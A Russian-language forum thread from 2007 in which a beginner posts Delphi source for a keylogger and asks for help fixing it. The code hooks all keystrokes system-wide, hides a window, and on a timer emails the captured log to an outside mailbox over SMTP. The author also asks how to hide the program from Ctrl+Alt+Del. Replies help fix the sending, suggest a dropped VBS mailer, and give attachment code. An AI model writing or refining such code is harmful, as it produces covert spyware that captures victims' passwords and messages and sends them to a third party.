Ошибка при отправке письма
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Ошибка при отправке письма - 2007-09-29 18:35:46.503333
|
|
|
Dr.KoD
Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
|
Хочу сразу сказать, что я начинающий, так что не судите оч строго, вот увидел у знакомого ваш журнал, "загорелся" начал изучать программирование, почитав кое какие статейки захотелось написать простенький кейлогер, с функцией письма с логом клавиш на майл, ну и что бы эта отправка было после открылия определенной программы, сделал мне кажется коряво, но лог на майл отправляет(код кейлогера был взят с журнала хакер). Может лучше написать клиент серверное приложение с помощью Indy компонентов и уже туда влепить функцию кейлогера, почитав про них мне кажется это будет проще сделать чем то что я наваял щас, но все равно хотелось бы для начала разобраться с этим, а уже потом переходить к другой теме. Так же немогу :( почемуто прикрепить к сообщению файл с логом, приходится извращаться и отправлять таким способом, что у меня реализован. Если нетрудно подправьте чуток мой код и напишите где я допустил ошибки. Вываливается вот такая ошибочка, при отправке сообщения а вот собсно и код проекта, написан в BDS 2006:
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase,
IdSMTP, StdCtrls, ExtCtrls;
type
TForm2 = class(TForm)
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
Memo1: TMemo;
Button1: TButton;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure OnAppMessage(var Msg: TMsg; var Handled: Boolean);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.dfm}
var
HookHandle : THandle = INVALID_HANDLE_VALUE;
Mess: TIdMessage;
function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
var
EventMsg : PEventMsg;
VirtCode : byte;
ScanCode : dword;
KeyState : TKeyboardState;
Tmp, S : string;
Res : integer;
begin
s := '';
if nCode = HC_ACTION then begin
EventMsg := pointer(LParam);
case EventMsg^.message of
WM_KEYDOWN : begin
VirtCode := EventMsg^.paramL and $FF;
ScanCode := (EventMsg^.paramL and $FF00) shl 8;
SetLength(Tmp, 32);
Res := GetKeyNameText(ScanCode,
@Tmp[1], Length(Tmp));
S := 'Нажата клавиша "'+copy(Tmp, 1, Res)+'"';
GetKeyboardState(KeyState);
Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0);
if Res > 0 then
S := S + ' символ = "'+copy(Tmp, 1, Res)+'"';
end;
end;
Form2.Memo1.Lines.Add(s);
end;
Result := CallNextHookEx(HookHandle, nCode, wParam, LParam);
end;
function InstallHook : boolean;
begin
if HookHandle = INVALID_HANDLE_VALUE then
HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
Result := HookHandle <> INVALID_HANDLE_VALUE;
end;
function RemoveHook : boolean;
begin
if HookHandle <> INVALID_HANDLE_VALUE then
UnhookWindowsHookEx(HookHandle);
HookHandle := INVALID_HANDLE_VALUE;
Result := true;
end;
procedure TForm2.FormDestroy(Sender: TObject);
begin
RemoveHook;
end;
procedure TForm2.FormCreate(Sender: TObject);
begin
Application.OnMessage := OnAppMessage;
InstallHook;
if ShowWindow(FindWindow('Notepad', nil), sw_hide)then
Timer1.Enabled := true;
end;
procedure TForm2.OnAppMessage(var Msg: TMsg; var Handled: Boolean);
begin
if (Msg.message = WM_CANCELJOURNAL) and (HookHandle <> INVALID_HANDLE_VALUE) then begin
HookHandle := INVALID_HANDLE_VALUE;
InstallHook;
Handled := true;
end;
end;
procedure TForm2.Timer1Timer(Sender: TObject);
begin
Mess:=TIdMessage.Create(NIL);
Mess.From.Address:= 'xxxxx@xaker.ru';
Mess.Recipients.Add.Address:= 'xxxxx@xaker.ru';
Mess.Subject:='Tema';
Mess.Body.Text:= Form2.Memo1.Text;
IdSMTP1.Host := 'smtp.xaker.ru';
IdSMTP1.Username := 'xxxxx@xaker.ru';
IdSMTP1.Password := 'passs';
IdSMTP1.Port := 25;
IdSMTP1.Connect;
IdSMTP1.Send(Mess);
end;
end.
Да и еще прошу не говорить, что программы такого рода надо писать на Win API или на асме, я еще только учусь и до написания каких то монстров далековато. Заранее благодарен за ответы.
|
|
|
RE: Ошибка при отправке письма - 2007-09-29 20:00:22.823333
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
В конец к процедуре procedure TForm2.Timer1Timer(Sender: TObject); добавь это: Mess.Free; IdSMTP1.Disconnect;
|
|
|
RE: Ошибка при отправке письма - 2007-09-29 20:48:53.070000
|
|
|
Dr.KoD
Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
|
Вот блин я балда, приконектился приконектился то, а вот отрубиться забыл. :( Спасиб. И еще несколько вопросов: – как все таки файл прицепить к сообщению? – возможно ли еще как то отправить почту без компонентов Indy? – как можно сделать так чтобы какоенить окно искалось не в момент создания формы, а отдельно от этой процедуры, а то убирая форму из загрузки или пряча от alt ctrl del, функция уже не пашет? Напишишите пример если несложно. Заранее благодарен.
|
|
|
RE: Ошибка при отправке письма - 2007-09-29 23:19:49.396666
|
|
|
StrannikRiddler
Сообщений: 115
Оценки: 0
Присоединился: 2007-06-08 16:20:53.516666
|
Там есть фишка Attachment. Создаешь динамически. Без компонентов - можно. Но смысл, если требуется отказаться от VCL полностью. PS. Кстати, вопрос. Создаю аттач - файл прикрепляется. Создаю второй аттач с тем же именем - файл 2 прикрепляется. Потом удаляем (после отправки). Но оба файла успешно доходят. Они не должны замещаться при пересоздании такого же объекта? Или у меня настолько ламерские познания?
|
|
|
RE: Ошибка при отправке письма - 2007-09-29 23:28:12.626666
|
|
|
Dr.KoD
Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
|
StrannikRiddler ну, а если ты удалил после отправки, то он полюбому отправился. несовсем правда понял вопрос. покаж код чтоли, а то не оч понятно.
|
|
|
RE: Ошибка при отправке письма - 2007-09-30 10:31:18.920000
|
|
|
StrannikRiddler
Сообщений: 115
Оценки: 0
Присоединился: 2007-06-08 16:20:53.516666
|
Логика Создаем объект Attachment с именем Att (путь один) Потом создаем объект Attachment с тем же именем Att (но путь другой) Потом сколько угодно раз создаем Attachment с именем Att (пути все разные). Все файлы успешно прикрепляются. Но я не понимаю, разве такое возможно (создание многих объектов с одним именем)?
|
|
|
RE: Ошибка при отправке письма - 2007-09-30 10:58:02.600000
|
|
|
int21h
Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
|
Пусть кейлог выплюнет vbs скрипт в катором и будет реализована функция отправки письма !
|
|
|
RE: Ошибка при отправке письма - 2007-09-30 15:12:20.556666
|
|
|
Dr.KoD
Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
|
Чет совсем за путался, перенес проект в делфи 7, а он нефига непашет, письмо никак нехочет отправляться, хотя код тот же, мож это делфя тупит, потому как код один в один? мож есть у кого есть 100% рабочий такой же проект под делфу 7, что бы проверить мож компилятор просто глючит. Да кстати прога нормально стартует но при отправке письма компилято переходит в режим отладки и указывает на ошибку во в этом месте IdSMTP1.Send(Mess); , а BDS после отправки сообщения выскакивает вообще ошибка без каких либо обозначений, дайте совет как сделать так чтобы работало как часы, а то уже замучался. Заранее благодарен. StrannikRiddler, да кажись этот касяк и во всех почтовых прогах есть, даж если прицепляеш один и тот же файл, по одному и тому же пути он всеравно прикрепляется к сообщению и оба файла доходят до адресата.
|
|
|
RE: Ошибка при отправке письма - 2007-10-01 17:32:39.383333
|
|
|
girlwap
Сообщений: 181
Оценки: 0
Присоединился: 2007-08-28 17:57:48.130000
|
Напиши лучше приложение клиент-сервер и всё. Проще будет.
|
|
|
RE: Ошибка при отправке письма - 2007-10-01 19:05:59.103333
|
|
|
Dr.KoD
Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
|
Да оно понятно, что проще, но хотелось бы разобраться с этим и выяснить почемуж неотправляется письмо из прги скомпилированной в делфи 7, в BDS все нормально пашет.
|
|
|
RE: Ошибка при отправке письма - 2007-10-01 23:34:59.323333
|
|
|
StrannikRiddler
Сообщений: 115
Оценки: 0
Присоединился: 2007-06-08 16:20:53.516666
|
Хз, как в Delphi 7, в Builder 6 (наиболее близкий) я так делал:
[b] [/b]TIdMessage* Msg = new TIdMessage(SMTP);
Msg->From->Text = "от кого";
Msg->Recipients->EMailAddresses = "реципиенты";
Msg->Subject = "тема";
Msg->Body->Add("обычная строка в письме");
Msg->Priority = TIdMessagePriority(1); //приоритет
TIdAttachment* one;
one = new TIdAttachment(Msg->MessageParts,"путь к файлу");
SMTP->UserId = "юзер ID";
SMTP->Password = "пароль";
SMTP->Host = "хост";
SMTP->Port = 25;//порт по умолчанию
SMTP->Connect();
try
{
SMTP->Send(Msg);
}
__finally
{
SMTP->Disconnect();
}
delete one;
delete Msg;[b]
[/b]
|
|
|
|
|